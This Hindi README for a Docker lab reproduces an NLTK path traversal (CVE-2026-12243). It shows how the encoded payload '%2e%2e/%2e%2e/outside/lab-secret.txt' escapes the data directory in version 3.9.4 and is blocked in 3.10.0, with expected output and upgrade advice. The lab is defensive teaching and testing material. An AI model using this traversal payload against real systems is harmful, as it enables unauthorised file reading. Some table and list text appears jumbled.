
# CVE-2026-12243 प्रदर्शित करने वाला Docker लैब NLTK 3.10.0 से पहले के संस्करणों में पाथ ट्रैवर्सल (path traversal) दिखाने वाला Docker लैब, जो एक पृथक, ऑफ़लाइन वातावरण में एक सिंथेटिक गुप्त (synthetic secret) के साथ कमज़ोर और पैच किए गए व्यवहार की तुलना करता है।
एक छोटा, पुनरुत्पादनीय Docker लैब जो NLTK 3.9.4 में प्रतिशत-एन्कोडेड पाथ ट्रैवर्सल व्यवहार की तुलना NLTK 3.10.0 में सुधारे गए व्यवहार से करता है।
कमजोर संस्करण URL डिकोडिंग से पहले संसाधन नाम को मान्य करता है। फिक्स्ड
पेलोड %2e%2e/%2e%2e/outside/lab-secret.txt जांच पास करता है, बाद में
../../outside/lab-secret.txt में डिकोड होता है, और कॉन्फ़िगर किए गए
NLTK डेटा निर्देशिका और प्रोसेस वर्किंग निर्देशिका दोनों से बाहर निकल जाता है। पैच किया गया
संस्करण उसी इनपुट को अस्वीकार कर देता है।
[!CAUTION] यह रिपॉजिटरी केवल रक्षात्मक शिक्षा और अधिकृत परीक्षण के लिए है। यह लैब एक पृथक कंटेनर के अंदर एक निश्चित सिंथेटिक गुप्त फ़ाइल का उपयोग करता है। इसे उन सिस्टम या डेटा तक पहुँचने के लिए अनुकूलित न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।
| कंटेनर | NLTK संस्करण | अपेक्षित परिणाम |
|---|---|---|
vulnerable | 3.9.4 | /lab/nltk_data के बाहर सिंथेटिक मार्कर पढ़ता है |
patched | 3.10.0 |
कोई कॉर्पस डाउनलोड, सर्वर, पोर्ट, बाइंड माउंट, या रनटाइम इंटरनेट कनेक्शन उपयोग नहीं किया जाता है।
docker compose)run.sh के लिए एक POSIX शेलgit clone https://github.com/morzelowski/CVE-2026-12243-NLTK-PoC.git
cd CVE-2026-12243-NLTK-PoC
docker compose build
./run.sh
अपेक्षित परिणाम:
=== Vulnerable image: NLTK 3.9.4 ===
NLTK version : 3.9.4
Working directory : /app
Configured data dir: /lab/nltk_data
Encoded resource : %2e%2e/%2e%2e/outside/lab-secret.txt
Decoded resource : ../../outside/lab-secret.txt
Resolved candidate : /outside/lab-secret.txt
NLTK warning : Security Violation [pathsec.open]: Unauthorized path /outside/lab-secret.txt
NLTK result : read 36 bytes
Synthetic marker : CVE-2026-12243-SYNTHETIC-LAB-MARKER
[PASS] Traversal escaped the configured NLTK data directory.
=== Patched image: NLTK 3.10.0 ===
NLTK version : 3.10.0
NLTK result : blocked (ValueError: Unsafe resource path: '...')
[PASS] Patched version rejected the same encoded traversal.
Lab completed: traversal reproduced and patched rejection verified.
प्रभावित इमेज रिपोर्ट करती है कि /outside/lab-secret.txt अनधिकृत है लेकिन
फिर भी इसकी सामग्री लौटाती है क्योंकि NLTK 3.9.4 डिफ़ॉल्ट रूप से केवल-चेतावनी पाथ
सुरक्षा का उपयोग करता है। अपवाद और चेतावनी पाठ थोड़ा भिन्न हो सकता है; run.sh यह तय करने के लिए
प्रोसेस एग्ज़िट स्टेटस का उपयोग करता है, न कि नाजुक टेक्स्ट मिलान का, यह तय करने के लिए कि
प्रदर्शन सफल रहा या नहीं।
प्रत्येक इमेज में यह जानबूझकर अलग किया गया लेआउट होता है:
/
├── app/
│ └── poc.py # process CWD is /app
├── lab/
│ └── nltk_data/ # configured NLTK search root
└── outside/
└── lab-secret.txt # public synthetic marker
poc.py nltk.data.path को /lab/nltk_data से बदल देता है और फिक्स्ड
संसाधन नाम %2e%2e/%2e%2e/outside/lab-secret.txt को
nltk.data.load(..., format="raw") में पास करता है। प्रभावित रिलीज़ में, डिकोडिंग
सत्यापन प्रवाह में बहुत देर से होती है:
/lab/nltk_data
↓ ../../outside/lab-secret.txt
/outside/lab-secret.txt
क्योंकि वर्किंग निर्देशिका /app है, कैनरी प्रदर्शन के लिए महत्वपूर्ण दोनों
स्थानों के बाहर है: /app और /lab/nltk_data।
स्क्रिप्ट में दो स्पष्ट अभिकथन हैं:
कोई भी अन्य परिणाम गैर-शून्य के साथ बाहर निकलता है, इसलिए स्वचालित जाँचें झूठी सफलता की रिपोर्ट नहीं कर सकतीं।
Compose कॉन्फ़िगरेशन जानबूझकर लैब को सीमित करता है:
network_mode: none किसी भी प्रदर्शन के चलने के दौरान नेटवर्किंग को अक्षम करता है।no-new-privileges सक्षम होता है।noexec अस्थायी फाइलसिस्टम
लिखने योग्य है।fixtures/lab-secret.txt है, एक सार्वजनिक परीक्षण मार्कर
जो बिल्ड के दौरान इमेज में कॉपी किया जाता है।इमेज बिल्ड को दो पिन किए गए NLTK संस्करणों को स्थापित करने के लिए पैकेज-इंडेक्स एक्सेस की आवश्यकता होती है। रनटाइम निष्पादन ऑफ़लाइन है।
nltk.data.load() या nltk.data.find() को दिए गए संसाधन नाम को नियंत्रित करता हैलैब 3.9.4 को पिन करता है क्योंकि यह मूल रिपोर्ट में नामित ठोस रिलीज़ है और 3.10.0 क्योंकि यह मेंटेनर सलाहकार द्वारा दर्ज की गई पहली पैच रिलीज़ है।
NLTK को अपग्रेड करें और इसे अद्यतित रखें:
python -m pip install "nltk>=3.10.0"
साथ ही फाइलसिस्टम-लोडिंग API में अविश्वसनीय संसाधन नाम पास करने से बचें। जहाँ उपयोगकर्ता चयन आवश्यक है, उपयोगकर्ता-सामना करने वाले पहचानकर्ताओं को एप्लिकेशन-स्वामित्व वाले संसाधनों की अनुमति सूची में मैप करें, न कि पाथ या URL को सीधे स्वीकार करें।
किसी भी पक्ष को स्वतंत्र रूप से चलाएँ:
docker compose run --rm vulnerable
docker compose run --rm patched
पूरी तरह से हल किए गए Compose कॉन्फ़िगरेशन का निरीक्षण करें:
docker compose config
स्थानीय रूप से निर्मित लैब इमेज हटाएँ:
docker compose down --rmi local
permission denied: ./run.sh — एक बार chmod +x run.sh चलाएँ।docker: command not found — Docker Desktop या Docker Engine स्थापित करें।docker compose build --no-cache पुनः प्रयास करें।aec4fceMIT लाइसेंस के तहत जारी किया गया।
| एन्कोडेड ट्रैवर्सल को ब्लॉक करता है |